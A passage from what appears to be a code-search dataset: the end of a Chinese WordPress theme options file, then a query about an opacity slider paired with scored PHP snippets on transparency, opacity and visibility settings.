array(\n\t\t'name' => __( '页脚信息', 'theme-textdomain' ),\n\t\t'desc' => __( '页脚说明文字。自动保留空格和换行,支持HTML代码,不支持js代码。', 'theme-textdomain' ),\n\t\t'id' => 'footer',\n\t\t'std' => 'Copyright © 2017 痴情的小五 · ',\n\t\t'type' => 'textarea'\n\t);\n\t\n\t$options[] = array(\n\t\t'name' => __( '统计代码', 'theme-textdomain' ),\n\t\t'desc' => __( '输入站长统计代码,请务必去掉&lt;script&gt;和&lt;/script&gt;标签。你也可以写自定义js,它将会显示在&lt;/body&gt;前。', 'theme-textdomain' ),\n\t\t'id' => 'tongji',\n\t\t'std' => '',\n\t\t'type' => 'textarea'\n\t);\n\n\t$options[] = array(\n\t\t'name' => __( 'ICP备案号', 'theme-textdomain' ),\n\t\t'desc' => __( '你的备案号', 'theme-textdomain' ),\n\t\t'id' => 'beian',\n\t\t'std' => '',\n\t\t'type' => 'text',\n\t\t'class' => 'mini'\n\t);\n\n\t//text-editor\n\t$options[] = array(\n\t\t'name' => __( '个性设置', 'theme-textdomain' ),\n\t\t'type' => 'heading'\n\t);\n\n\t$options[] = array(\n\t\t'name' => __( '博客运行时间统计', 'theme-textdomain' ),\n\t\t'desc' => __( '', 'theme-textdomain' ),\n\t\t'id' => 'blog_start_day',\n\t\t'std' => 'yes',\n\t\t'type' => 'radio',\n\t\t'options' => array(\n\t\t 'yes' => __('开启',''),\n\t\t 'no' => __('关闭','')\n\t));\n\t$options[] = array(\n\t\t'name' => __( '博客开启时间', 'theme-textdomain' ),\n\t\t'desc' => __( '格式: XXXX年/xx月/xx日,如2017/03/07,无需年月日', 'theme-textdomain' ),\n\t\t'id' => 'time-set',\n\t\t'std' => '',\n\t\t'placeholder' => '如:2017/03/07',\n\t\t'type' => 'text',\n\t\t'class' => 'mini'\n\t);\n\t$options[] = array(\n\t\t'name' => __( '显示文章最后修改时间', 'theme-textdomain' ),\n\t\t'desc' => __( '如果文章有过修改(不包括当天),则把时间显示在文章末尾', 'theme-textdomain' ),\n\t\t'id' => 'modified_time',\n\t\t'std' => 'yes',\n\t\t'type' => 'radio',\n\t\t'options' => array(\n\t\t 'yes' => __('开启',''),\n\t\t 'no' => __('关闭','')\n\t));\n\t$options[] = array(\n\t\t'name' => __( 'QQ评论支持', 'theme-textdomain' ),\n\t\t'desc' => __( '', 'theme-textdomain' ),\n\t\t'id' => 'qq_comment',\n\t\t'std' => 'yes',\n\t\t'type' => 'radio',\n\t\t'options' => array(\n\t\t 'yes' => __('开启',''),\n\t\t 'no' => __('关闭','')\n\t));\n\t$options[] = array(\n\t\t'name' => __( '一言类型', 'theme-textdomain' ),\n\t\t'desc' => __( '在下方选择一言类型。如果不需要请选关闭,它将会显示在页脚处。', 'theme-textdomain' ),\n\t\t'id' => 'hitokoto',\n\t\t'std' => 'random',\n\t\t'type' => 'select',\n\t\t'class' => 'mini', //mini, tiny, small\n\t\t'options' => array(\n\t\t 'random' => __('全部随机',''),\n\t\t 'close' => __('关闭',''),\n\t\t 'a' => __('动画',''),\n\t\t 'b' => __('漫画',''),\n\t\t 'c' => __('游戏',''),\n\t\t 'd' => __('小说',''),\n\t\t 'e' => __('原创',''),\n\t\t 'f' => __('来自网络',''),\n\t\t 'g' => __('其他','')\n\t\t )\n\t);\n\t$options[] = array(\n\t\t'name' => __( '显示顶部进度条', 'theme-textdomain' ),\n\t\t'desc' => __( '', 'theme-textdomain' ),\n\t\t'id' => 'scrollbar',\n\t\t'std' => 'yes',\n\t\t'type' => 'radio',\n\t\t'options' => array(\n\t\t 'yes' => __('开启',''),\n\t\t 'no' => __('关闭','')\n\t));\n\t$options[] = array(\n\t\t'name' => __( '邮件前缀', 'theme-textdomain' ),\n\t\t'desc' => __( '修改发件人的@前缀,用于发送系统邮件,不要使用中文,默认系统邮件地址为 admin@你的域名.com', 'theme-textdomain' ),\n\t\t'id' => 'mail_username',\n\t\t'std' => 'admin',\n\t\t'type' => 'text',\n\t\t'class' => 'mini'\n\t);\n\t$options[] = array(\n\t\t'name' => __( 'tooltip欢迎语', 'theme-textdomain' ),\n\t\t'desc' => __( '不填不会生效', 'theme-textdomain' ),\n\t\t'id' => 'welcome',\n\t\t'std' => '欢迎来到我的博客...',\n\t\t'type' => 'text',\n\t);\n\t$options[] = array(\n\t\t'name' => __( '显示动态标题(失去焦点时显示)', 'theme-textdomain' ),\n\t\t'desc' => __( '和下方选项同时设置后生效', 'theme-textdomain' ),\n\t\t'id' => 'change_title1',\n\t\t'std' => '',\n\t\t'placeholder' => '如:(つ ェ ⊂)我藏好了哦~',\n\t\t'type' => 'text'\n\t);\n\t$options[] = array(\n\t\t'name' => __( '显示动态标题(获得焦点时显示)', 'theme-textdomain' ),\n\t\t'desc' => __( '和上方选项同时设置后生效', 'theme-textdomain' ),\n\t\t'id' => 'change_title2',\n\t\t'std' => '',\n\t\t'placeholder' => '如:(*゜ロ゜)ノ被发现了~',\n\t\t'type' => 'text'\n\t);\n\t$options[] = array(\n\t\t'name' => __( '是否开启文章点赞', 'theme-textdomain' ),\n\t\t'desc' => __( '', 'theme-textdomain' ),\n\t\t'id' => '_zan',\n\t\t'std' => 'yes',\n\t\t'type' => 'radio',\n\t\t'options' => array(\n\t\t 'yes' => __('开启',''),\n\t\t 'no' => __('关闭','')\n\t));\n\t$options[] = array(\n\t\t'name' => __( '文章上一篇和下一篇', 'theme-textdomain' ),\n\t\t'desc' => __( '在文章末尾显示上一篇和下一篇', 'theme-textdomain' ),\n\t\t'id' => 'next_p',\n\t\t'std' => 'yes',\n\t\t'type' => 'radio',\n\t\t'options' => array(\n\t\t 'yes' => __('开启',''),\n\t\t 'no' => __('关闭','')\n\t));\n\t$options[] = array(\n\t\t'name' => __( '打字特效', 'theme-textdomain' ),\n\t\t'desc' => __( '给评论框增加打字特效', 'theme-textdomain' ),\n\t\t'id' => 'input',\n\t\t'std' => array(),\n\t\t'type' => 'multicheck',\n\t\t'options' => array(\n\t\t 'one' => __('烟花特效',''),\n\t\t 'two' => __('震动特效',''),\n\t));\n\t$options[] = array(\n\t\t'name' => __( '禁用选项', 'theme-textdomain' ),\n\t\t'desc' => __( '默认关闭,慎用!', 'theme-textdomain' ),\n\t\t'id' => 'debug',\n\t\t'std' => array(),\n\t\t'type' => 'multicheck',\n\t\t'options' => array(\n\t\t 'one' => __('禁止鼠标右键',''),\n\t\t 'two' => __('禁止选中文本',''),\n\t\t 'three'=>__('禁止F12调试','')\n\t));\n\t//music\n\t$options[] = array(\n\t\t'name' => __( '其他', 'theme-textdomain' ),\n\t\t'type' => 'heading'\n\t);\n\t$options[] = array(\n\t\t'name' => __( '播放器设置', 'theme-textdomain' ),\n\t\t'desc' => __( '请到后台子菜单中的\"播放器设置\"中添加歌单' , 'theme-textdomain' ),\n\t\t'type' => 'info'\n\t);\n\t\n\t$options[] = array(\n\t\t'name' => __( '无法获取歌单或者歌词', 'theme-textdomain' ),\n\t\t'desc' => __( '国外主机存在IP被墙而无法播放的情况,暂无解决办法。排除网络和主机问题后,若无法播放一般是因为API失效,请反馈博主修复。' , 'theme-textdomain' ),\n\t\t'type' => 'info'\n\t);\n\t$options[] = array(\n\t\t'name' => __( '温馨提示', 'theme-textdomain' ),\n\t\t'desc' => __( '此播放器手机端默认隐藏,且只支持网易云音乐链接。若想要手机端显示或者支持其他音乐链接,请禁用并选择其他音乐播放器插件。', 'theme-textdomain' ),\n\t\t'type' => 'info'\n\t);\n\t$options[] = array(\n\t\t'name' => __( '最后一些话', 'theme-textdomain' ),\n\t\t'desc' => __( '这是我第一次开发主题,经验不足。非常欢迎大家积极反馈此主题在日常使用中的BUG,也欢迎对主题提出各种修改意见。', 'theme-textdomain' ),\n\t\t'type' => 'info'\n\t);\n\t$options[] = array(\n\t\t'name' => __( '特别鸣谢', 'theme-textdomain' ),\n\t\t'desc' => __( '代码来源在代码中都有注释,感谢@Louie @Inlojv等大触的帮助。', 'theme-textdomain' ),\n\t\t'type' => 'info'\n\t);\n\t\n\treturn $options;\n}", "title": "" } ]
aa606121308d1ad6c75a69f26f1aa9ec
Specifies whether we should display the opacity slider to allow selection of transparency.
[ { "docid": "184dbf84bb664efaa5e1138bd1949f2a", "score": "0.5970748", "text": "public function opacity($value) {\n return $this->setProperty('opacity', $value);\n }", "title": "" } ]
[ { "docid": "9761885bbe650bfe3ac6493958d67d2f", "score": "0.6782548", "text": "public static function select_transparent_slider(){\n if('arts_slider_option1' == UBC_Collab_Theme_Options::get('arts-slider-option')){\n UBC_Collab_Theme_Options::update('slider-option', 'transparent');\n } else if('arts_slider_option2' == UBC_Collab_Theme_Options::get('arts-slider-option')){\n UBC_Collab_Theme_Options::update('slider-option', 'standard');\n }\n }", "title": "" }, { "docid": "b6fa0deebad7c65269d2e5d7419fe1ba", "score": "0.628597", "text": "function flibusbox_color_field_opacity_callback() {\n\t\t\techo '<input type=\"number\" class=\"color-field_opacity\" min=\"0\" max=\"1\" step=\"0.01\"name=\"flibusbox_color_field_opacity\" value=' . get_option('flibusbox_color_field_opacity') . '>';\n\t\t}", "title": "" }, { "docid": "3f57d0393e0a2ff434ac2c84e9c767a7", "score": "0.6125796", "text": "function CanSetTransparent(){}", "title": "" }, { "docid": "3f57d0393e0a2ff434ac2c84e9c767a7", "score": "0.6125796", "text": "function CanSetTransparent(){}", "title": "" }, { "docid": "50e13a2c8f7513116ba20eff1f07701f", "score": "0.5858681", "text": "function SetTransparent($alpha){}", "title": "" }, { "docid": "50e13a2c8f7513116ba20eff1f07701f", "score": "0.5858681", "text": "function SetTransparent($alpha){}", "title": "" }, { "docid": "706023dc9185425625bd1499762551ea", "score": "0.5718481", "text": "public function setTransparent($transparent);", "title": "" }, { "docid": "102da19d3b948c3d3b5307c25dbebb00", "score": "0.5526179", "text": "function SetSelAlpha($alpha){}", "title": "" }, { "docid": "d62a7d4b06a78da592d76268a04dfd94", "score": "0.5498068", "text": "function SetAdditionalSelAlpha($alpha){}", "title": "" }, { "docid": "df1793fdf82eb80085ccf75944cb1c0a", "score": "0.5460661", "text": "function IsTransparent(){}", "title": "" }, { "docid": "df1793fdf82eb80085ccf75944cb1c0a", "score": "0.5460661", "text": "function IsTransparent(){}", "title": "" }, { "docid": "00dd9166301ed9d196b492fff2b2e555", "score": "0.5459844", "text": "public function hasAlphaTransparency() {\n if ($this->hasAlpha === null) {\n if ($this->resource) {\n $this->hasAlpha = $this->resource->getImageAlphaChannel() === Imagick::ALPHACHANNEL_TRANSPARENT;\n } else {\n $this->hasAlpha = false;\n }\n }\n\n return $this->hasAlpha;\n }", "title": "" }, { "docid": "0b3b9578ee88cf7ca163f71057447b1e", "score": "0.5411006", "text": "function GetAdditionalSelAlpha(){}", "title": "" }, { "docid": "9fb3fed34faa64f2276f6154e92e231e", "score": "0.54087347", "text": "public function setAsOverlay()\n {\n $this->asBackground = false;\n }", "title": "" }, { "docid": "cc23452cf9b96973db1230544abd7270", "score": "0.54086953", "text": "function GetSelAlpha(){}", "title": "" }, { "docid": "3e95e9b56721a1f997fac7d2c1dfc5f2", "score": "0.53566", "text": "public function setOpacity(float $value): void\n {\n $qgis = new Qgis( $this->project['file'] );\n $maplayer = $qgis->getMaplayerByName( $this->getName() )->getSimpleXMLElement();\n $maplayer->layerOpacity = $value;\n $qgis->save();\n }", "title": "" }, { "docid": "8eeca97a3ead7f0a2f1d8b4354628325", "score": "0.5292565", "text": "function _opacity($color = false)\n {\n if ($color === false) {\n return false;\n } else {\n $color = Image_Canvas_Color::color2RGB($color);\n if ($color[3] != 255) {\n return sprintf('%0.1f', $color[3]/255);\n } else {\n return 255;\n }\n }\n }", "title": "" }, { "docid": "81846f1e16799da341e002156a760402", "score": "0.526007", "text": "public function getIsOpaque()\n {\n return 0 === $this->alpha;\n }", "title": "" }, { "docid": "a63727574d1128fdcf59de470110369f", "score": "0.52393395", "text": "public static function showVisibilityFilter(): bool\n {\n return config(static::$filename.'.show_visibility_filter', true);\n }", "title": "" }, { "docid": "36daa3b94aeaad0e31e57e92b2cf525f", "score": "0.5150301", "text": "public function enableScaleControl() {\n\t\t$this->scale_control = true;\n\t}", "title": "" }, { "docid": "9d36aff26679342cbe8bb634d8f046c3", "score": "0.5148312", "text": "abstract public function getIsTransparent(): bool;", "title": "" }, { "docid": "c0a047aa82eb890cf6d7dda63f9615c0", "score": "0.5144286", "text": "function CaptionVisible($visible=true){}", "title": "" }, { "docid": "47f6e67695360b9ccf954db5010e0f6a", "score": "0.5098494", "text": "function IsNonTransparent(){}", "title": "" }, { "docid": "47f6e67695360b9ccf954db5010e0f6a", "score": "0.509692", "text": "function IsNonTransparent(){}", "title": "" }, { "docid": "c609d8d7d4dccd47d4f85fc66b325897", "score": "0.5094959", "text": "public function setVisible() {\r\n\t\t$this->visible_initial = true;\r\n\t}", "title": "" }, { "docid": "233f6c9ffb8b214f3e9406dca4a07bf6", "score": "0.50839", "text": "public function setOpacity(float $opacity): Image\n {\n if (!$this->isImageDefined()) {\n return $this;\n }\n\n \\imagealphablending($this->image, false);\n \\imagesavealpha($this->image, true);\n \\imagefilter($this->image, IMG_FILTER_COLORIZE, 0, 0, 0, \\round(127 * (1 - $opacity)));\n\n return $this;\n }", "title": "" }, { "docid": "9c0b641247ce017d5c478b0c8f18b5e0", "score": "0.5061062", "text": "function snax_image_show_category_field() {\n\treturn 'disabled' !== snax_image_category_field();\n}", "title": "" }, { "docid": "00b6167ebdaaae4a7ede88ef8a29faac", "score": "0.5043138", "text": "function my_product_carousel_options( $options ) {\n $options['animation'] = 'fade';\n\n return $options;\n}", "title": "" }, { "docid": "b1cde2a940a2f64bdb16401258652b6d", "score": "0.5006209", "text": "function HasTransparentBackground(){}", "title": "" }, { "docid": "4172f3cb64af8de2efe21dd5ebbb2cdb", "score": "0.49910778", "text": "public function isVisible()\n {\n return true;\n }", "title": "" }, { "docid": "0edbe3d1a034d928038a8b732cd47b79", "score": "0.49844316", "text": "function mumfd_slider_activation()\n\t{\n\t \n\t}", "title": "" }, { "docid": "3b92f324df4c83972f52a0284851b1f9", "score": "0.49788472", "text": "private function modifyPreviewModeSettings(){\r\n\t\t$params = $this->slider->getParams();\r\n\t\t$params[\"js_to_body\"] = \"false\";\r\n\r\n\t\t$this->slider->setParams($params);\r\n\t}", "title": "" }, { "docid": "f5e23af029ac34dcb89c65f959d62e68", "score": "0.49749294", "text": "final public function isVisible()\n\t\t{\n\t\t\treturn false;\n\t\t}", "title": "" }, { "docid": "b741986a7cfb95a9ab9ea856e0220385", "score": "0.49731448", "text": "public function opacity($transparency)\n {\n $this->filters[] = [__FUNCTION__, $this->between('transparency', $transparency, 0, 100)];\n return $this;\n }", "title": "" }, { "docid": "fc2bbb587ba9ef83bb39081dc443b024", "score": "0.4960328", "text": "function InitAlpha(){}", "title": "" }, { "docid": "a7ba4b306bb90e702452ccbd88beea95", "score": "0.49568665", "text": "public function isSliderEnabled()\n\t{\n\t\treturn $this->enableSlider;\n\t}", "title": "" }, { "docid": "507c0925b6bb9cbf92c887e0f739ca33", "score": "0.49484465", "text": "public function &set_visible($is_visible=true);", "title": "" }, { "docid": "7bc91685502b1f015392ed83c0d677cb", "score": "0.49477386", "text": "function flibusbox_preveffects_field_callback() {\n\t\t\techo '<select name=\"flibusbox_preveffects_field\" >';\n\t\t\techo '<option value=\"elastic\" '. selected(get_option('flibusbox_preveffects_field'), \"elastic\") .'>elastic</option>';\n\t\t\techo '<option value=\"fade\" '. selected(get_option('flibusbox_preveffects_field'), \"fade\") .'>fade</option>';\n\t\t\techo '<option value=\"none\" '. selected(get_option('flibusbox_preveffects_field'), \"none\") .'>none</option>';\n\t\t\techo '</select>';\n\t\t}", "title": "" }, { "docid": "6b194664c608153ca42161c94532befd", "score": "0.49310845", "text": "protected function isVisible()\n {\n return parent::isVisible() || $this->hasMultipleCurrencies();\n }", "title": "" }, { "docid": "83c7867abda83a4b83a7e071e04d36a8", "score": "0.49284926", "text": "function IndicatorSetAlpha($indicator, $alpha){}", "title": "" }, { "docid": "f23deeaf951efcabe42cea09c4a978ae", "score": "0.49239796", "text": "public function variation_is_visible() {\n\t\t$visible = true;\n\n\t\t// Published == enabled checkbox\n\t\tif ( get_post_status( $this->variation_id ) != 'publish' ) {\n\t\t\t$visible = false;\n\t\t}\n\n\t\t// Price not set\n\t\telseif ( $this->get_price() === \"\" ) {\n\t\t\t$visible = false;\n\t\t}\n\n\t\treturn apply_filters( 'woocommerce_variation_is_visible', $visible, $this->variation_id, $this->id, $this );\n\t}", "title": "" }, { "docid": "787b6b22ad632413b5335d754ea70de7", "score": "0.4917118", "text": "public function setTransparent($value) {\r\n $this->shape->setTransparent($value);\r\n }", "title": "" }, { "docid": "a89e8f9ed63cd581889715bda70eecdb", "score": "0.49113896", "text": "public function markerOpacity($markerOpacity)\n {\n if(is_float($markerOpacity) && between($markerOpacity, 0, 1))\n {\n $this->addOption(array('markerOpacity' => $markerOpacity));\n } else {\n $this->type_error(__FUNCTION__, 'float', 'between 0.0 - 1.0');\n }\n\n return $this;\n }", "title": "" }, { "docid": "3200915b5741c14de0be96bee2e098f7", "score": "0.4887539", "text": "function fwds_slider_activation() \n {\n\n }", "title": "" }, { "docid": "780879b76515ca029a66d50a708a69e0", "score": "0.48791805", "text": "public function esVisible(){\n\t\treturn $this->attributes['visible'] == Evento::EVENTO_VISIBLE;\n\t}", "title": "" }, { "docid": "7979441dcb6b769a3483b7b525a1fd32", "score": "0.48772547", "text": "function snax_image_show_featured_media_field() {\n\treturn 'disabled' !== snax_image_featured_media_field();\n}", "title": "" }, { "docid": "a4ff435ed134437927695c0698311a4a", "score": "0.47914347", "text": "public function strokeOpacity($strokeOpacity)\n {\n if (Utils::between(0.0, $strokeOpacity, 1.0, true) === false) {\n throw new InvalidConfigValue(\n __FUNCTION__,\n 'float',\n 'between 0.0 and 1.0'\n );\n }\n\n return $this->setOption(__FUNCTION__, $strokeOpacity);\n }", "title": "" }, { "docid": "b062ca9e215dc3bf063444e9864e032e", "score": "0.47586384", "text": "public function actionPageOpacity() {\n\t\tif(isset($_GET['opacity']) && is_numeric($_GET['opacity'])) {\n\n\t\t\t$opacity = $_GET['opacity'];\n\t\t\tif($opacity > 1)\n\t\t\t\t$opacity = 1;\n\t\t\tif($opacity < 0.1)\n\t\t\t\t$opacity = 0.1;\n\t\t\n\t\t\t$opacity = round(100*$opacity);\n\t\t\t\n\t\t\t// $profile = CActiveRecord::model('ProfileChild')->findByPk(Yii::app()->user->getId());\n\n\t\t\tYii::app()->params->profile->pageOpacity = $opacity;\n\t\t\tif(Yii::app()->params->profile->save()){\n\t\t\t\techo \"success\";\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "a737cf43c9d690005330ff7808485328", "score": "0.47572643", "text": "public function disableScaleControl() {\n\t\t$this->scale_control = true;\n\t}", "title": "" }, { "docid": "bc205844cd2f0a6ef8918f2194c15e42", "score": "0.47442874", "text": "public function getOpacity(): float\n {\n return (float) $this->maplayer->layerOpacity;\n }", "title": "" }, { "docid": "f163bbc12f17bdfadba197ee4793b0ca", "score": "0.47377193", "text": "function EnablePopupAnimation($enable=true){}", "title": "" }, { "docid": "04fa3ebc2283c0893f700254c0cf3ff4", "score": "0.47289103", "text": "public function allowOverPick() {\n\t\treturn $this->getConfigSo()->allow_overpick == 'Y';\n\t}", "title": "" }, { "docid": "9d13689c3563acaf906e81ef4608c4af", "score": "0.47210658", "text": "public function isVisible()\n {\n return $this->getConfigField('frontend_visible');\n }", "title": "" }, { "docid": "cdc3953bc86b27b7767fdace10f2e252", "score": "0.47197405", "text": "function fiorello_mikado_is_top_bar_transparent() {\n\t\t$top_bar_enabled = fiorello_mikado_is_top_bar_enabled();\n\t\t$top_bar_bg_color = fiorello_mikado_options()->getOptionValue( 'top_bar_background_color' );\n\t\t$top_bar_transparency = fiorello_mikado_options()->getOptionValue( 'top_bar_background_transparency' );\n\t\t\n\t\tif ( $top_bar_enabled && $top_bar_bg_color !== '' && $top_bar_transparency !== '' ) {\n\t\t\treturn $top_bar_transparency >= 0 && $top_bar_transparency < 1;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "b40fd6992eaef0e718b7356d990a1de5", "score": "0.47179732", "text": "public function is_visible()\n {\n return $this->get_default_property(self::PROPERTY_VISIBLE);\n }", "title": "" }, { "docid": "89526e4466ed4a7b7bfa1002bb4206bb", "score": "0.47141922", "text": "public function isSelectedPvChannel()\n {\n return false;\n }", "title": "" }, { "docid": "0d8a31840879a6c79914efb85cad642e", "score": "0.47096238", "text": "public function setPreviewFeaturesEnabled($value)\n {\n $this->setProperty(\"PreviewFeaturesEnabled\", $value, true);\n }", "title": "" }, { "docid": "2797c1d4648ea7667b14266cdec35727", "score": "0.470959", "text": "function isVisible() {\n\t\tif(null == ($worker = CerberusApplication::getActiveWorker()))\n\t\t\treturn false;\n\t\treturn true;\n\t}", "title": "" }, { "docid": "b5754fef6d48b79b9ec28d2ab5029bd7", "score": "0.47018772", "text": "public function visible($value) {\n return $this->setProperty('visible', $value);\n }", "title": "" }, { "docid": "b5754fef6d48b79b9ec28d2ab5029bd7", "score": "0.47018772", "text": "public function visible($value) {\n return $this->setProperty('visible', $value);\n }", "title": "" }, { "docid": "b5754fef6d48b79b9ec28d2ab5029bd7", "score": "0.47018772", "text": "public function visible($value) {\n return $this->setProperty('visible', $value);\n }", "title": "" }, { "docid": "54df24c1f99594467cf8100a6149e20b", "score": "0.46654847", "text": "public function setVisible($value) {\r\n $this->bVisible = $this->setBooleanProperty($this->bVisible, $value);\r\n }", "title": "" }, { "docid": "2cc7a80cbc71734511bd40998be4fcdf", "score": "0.46537635", "text": "function EnableEffects($enable){}", "title": "" }, { "docid": "cab3925b4c10f1b01ad7bfbc43edc1f1", "score": "0.46528405", "text": "public function isVisible();", "title": "" }, { "docid": "c0f0aee00be19f440203aa7656de9929", "score": "0.46483237", "text": "function is_attachment_enabled() {\n\t\t$options = $this->get_options();\n\t\treturn (bool) apply_filters( 'wpl_is_attachment_disabled', (bool) in_array( 'attachment', $options['show'] ) );\n\t}", "title": "" }, { "docid": "93ef9ed3b95f8f69c10ce1e1ba81fa08", "score": "0.46350765", "text": "public function setSliderEnabled($enabled)\n\t{\n\t\t$this->enableSlider = (bool)$enabled;\n\t}", "title": "" }, { "docid": "a89c915f3c1f36fc1e153feb9be329e3", "score": "0.46310198", "text": "protected function isVisible()\n {\n if (!parent::isVisible() || !Main::isConfigured()) {\n return false;\n }\n\n if ($this->getParam(self::PARAM_IS_ASYNC_FILTERS)) {\n return true;\n }\n\n $searchResults = $this->getSearchResults();\n\n return $searchResults !== null\n && $searchResults['facets'] !== null; // CloudFilters is disabled if service returned null in the 'facets' key\n }", "title": "" }, { "docid": "c8de3e988d6673554d8387527d1c4d59", "score": "0.46276027", "text": "function K2F_Activate(){\r\n\t\tupdate_option('k2f_enabled',true);\r\n\t}", "title": "" }, { "docid": "b9eb31f31da8e13bf3d7398ff790e57c", "score": "0.46127573", "text": "public function isVisible() {\n return $this->visible;\n }", "title": "" }, { "docid": "5da48909d750576971c9946031be02eb", "score": "0.46125728", "text": "function flibusbox_openeffect_field_callback() {\n\t\t\techo '<select name=\"flibusbox_openeffect_field\" >';\n\t\t\techo '<option value=\"elastic\" '. selected(get_option('flibusbox_openeffect_field'), \"elastic\") .'>elastic</option>';\n\t\t\techo '<option value=\"fade\" '. selected(get_option('flibusbox_openeffect_field'), \"fade\") .'>fade</option>';\n\t\t\techo '<option value=\"none\" '. selected(get_option('flibusbox_openeffect_field'), \"none\") .'>none</option>';\n\t\t\techo '</select>';\n\t\t}", "title": "" }, { "docid": "bdb40792d114b47bf3232d6dc8899915", "score": "0.4611804", "text": "public function isVisible()\n {\n return parent::isVisible() && $this->config->getOtherChannelsVisible();\n }", "title": "" }, { "docid": "9e9a9fb98180e1f17d7343df68973e9c", "score": "0.4598899", "text": "public function opacity($opacity, $recursive = true)\n {\n if ($recursive) {\n\n $layers = $this->layers;\n\n foreach ($layers as $key => $layer) {\n\n $layer->opacity($opacity, true);\n $this->layers[$key] = $layer;\n }\n }\n\n $transparentImage = self::generateImage($this->getWidth(), $this->getHeight());\n\n self::imagecopymergealpha($transparentImage, $this->image, 0, 0, 0, 0, $this->getWidth(), $this->getHeight(), $opacity);\n\n unset($this->image);\n $this->image = $transparentImage;\n unset($transparentImage);\n }", "title": "" }, { "docid": "579f061b224910de64ae9dde1a5370ac", "score": "0.4593847", "text": "public function isImageVisible()\n {\n return ((function_exists('imagecreatetruecolor') || function_exists('imagecreate')) && $this->getConfig()->getConfigParam('iUseGDVersion') > 1);\n }", "title": "" }, { "docid": "c00c854d3b86f5ede992f701b4439672", "score": "0.45856524", "text": "public function getFillOpacitySettings(): float\n {\n return (float)$this->_scopeConfig->getValue(self::FILL_OPACITY_CONFIG_PATH, ScopeInterface::SCOPE_STORE);\n }", "title": "" }, { "docid": "11effcd8ce9540f76f4037a5e743457a", "score": "0.45775458", "text": "public function showDisabled($value = true)\n {\n $this->sources[self::KEY_DISABLED] = (boolean) $value;\n return $this;\n }", "title": "" }, { "docid": "2f84801307ac76fe7eb56b34e669f003", "score": "0.4577314", "text": "function GetShowEffect(){}", "title": "" }, { "docid": "df029eb4fe29b0b397fb9864a36756b8", "score": "0.45765895", "text": "function fiorello_mikado_is_top_bar_completely_transparent() {\n\t\t$top_bar_enabled = fiorello_mikado_is_top_bar_enabled();\n\t\t$top_bar_bg_color = fiorello_mikado_options()->getOptionValue( 'top_bar_background_color' );\n\t\t$top_bar_transparency = fiorello_mikado_options()->getOptionValue( 'top_bar_background_transparency' );\n\t\t\n\t\tif ( $top_bar_enabled && $top_bar_bg_color !== '' && $top_bar_transparency !== '' ) {\n\t\t\treturn $top_bar_transparency === '0';\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "5f409cee8106f790cb4486d96ba00a6d", "score": "0.45754847", "text": "public function getWatermarkImageOpacity()\n {\n return $this->_watermarkImageOpacity;\n }", "title": "" }, { "docid": "21eb84593e60f4d6700683de8126e888", "score": "0.4571459", "text": "public function isHidden()\n {\n return FALSE;\n }", "title": "" }, { "docid": "21eb84593e60f4d6700683de8126e888", "score": "0.4571459", "text": "public function isHidden()\n {\n return FALSE;\n }", "title": "" }, { "docid": "49359a54de6202486b058e5eac39d697", "score": "0.45695394", "text": "function PricerrTheme_show_price_in_front()\n{\n $opt = get_option('PricerrTheme_currency_position');\n if ($opt == \"front\") return true;\n return false;\n}", "title": "" }, { "docid": "6d978bb57b0104100e5e2f82d5049b89", "score": "0.45678273", "text": "public function isVisible(): bool;", "title": "" }, { "docid": "6d978bb57b0104100e5e2f82d5049b89", "score": "0.45678273", "text": "public function isVisible(): bool;", "title": "" }, { "docid": "901a906744efccf03cb3f0c48b0c7d3c", "score": "0.4554274", "text": "public function isVisible()\n {\n return $this->visible;\n }", "title": "" }, { "docid": "46b0ac0359fcf02318a7db38dbd90539", "score": "0.45407093", "text": "public function showAsModal() {\n //TODO: This is a hack temporarily.\n $this->setDimensions(4, 4);\n $this->props->setValue('core.showModal', true);\n $this->validate();\n }", "title": "" }, { "docid": "a293ed3822cf890c5ef36df132cd22ac", "score": "0.45210308", "text": "function rltd_hide_vc_options() {\n echo \"<style>\n .wpb_vc_row .vc_controls.controls_row .vc_control.column_add,\n .wpb_vc_row .vc_controls.controls_row .vc_control.column_edit,\n .wpb_vc_row .vc_controls.controls_row .vc_control.vc_column-toggle,\n #vc_no-content-helper {\n display: none !important;\n }\n </style>\";\n echo '<style> .wpb_element_wrapper img { height: auto !important; max-width: 100% !important; } </style>';\n }", "title": "" }, { "docid": "61741ee16041921198283b0d50820b31", "score": "0.45047018", "text": "function gecko_custom_background() {\n\t$options = get_option( 'custom_background' );\n\t$checked = ( @$options == 1 ? 'checked' : '' );\n echo '<label><input type=\"checkbox\" id=\"custom_background\" name=\"custom_background\" value=\"1\" '.$checked.' />Activate Custom Background</label>';\n}", "title": "" }, { "docid": "545ccdbeb8f879d2c766502eeb6e6b68", "score": "0.45000187", "text": "function set_display($input)\n\t{\n\t\tif(is_bool($input))\n\t\t{\n\t\t\t$this -> is_main_frame_using = $input;\n\t\t}\n\t}", "title": "" }, { "docid": "6bb068b3a24a4f8a7886899e48e89978", "score": "0.44992065", "text": "public function visibleInLegendField($value) {\n return $this->setProperty('visibleInLegendField', $value);\n }", "title": "" }, { "docid": "7ea5a43b755c62e7cf3c5effc82a8040", "score": "0.4496638", "text": "public function setActive()\n {\n return $this->setVisState(0);\n }", "title": "" }, { "docid": "6beb664d9d3200c4c581c6cd742d1990", "score": "0.44922963", "text": "function capa_activation() {\n\tupdate_option( 'capa_protect_show_only_allowed_attachments', true );\n}", "title": "" }, { "docid": "33824e0d0074b9a565cd14039585ca0f", "score": "0.4485088", "text": "public function isHidden()\r\n {\r\n return false;\r\n }", "title": "" }, { "docid": "723552f0e8b376eeebb1da7f30acb9f6", "score": "0.44846994", "text": "public function background($color, $opacity=null){ }", "title": "" }, { "docid": "ff6b5e219dbf39c7699aec69a32c8663", "score": "0.44759703", "text": "public static function opacityThreshold($level = null)\n {\n return EffectAction::withLevel(Adjust::OPACITY_THRESHOLD, EffectRange::POSITIVE_PERCENT, $level);\n }", "title": "" }, { "docid": "639db71a153713385348b5a5c12e2d43", "score": "0.44755286", "text": "public function is_visible();", "title": "" }, { "docid": "90d54c3c976dbdd1235138600fd445b0", "score": "0.44667587", "text": "public static function isStableShownByDefault() {\n\t\tglobal $wgFlaggedRevsOverride;\n\t\tif ( self::useOnlyIfProtected() ) {\n\t\t\treturn false; // must be configured per-page\n\t\t}\n\t\treturn (bool)$wgFlaggedRevsOverride;\n\t}", "title": "" }, 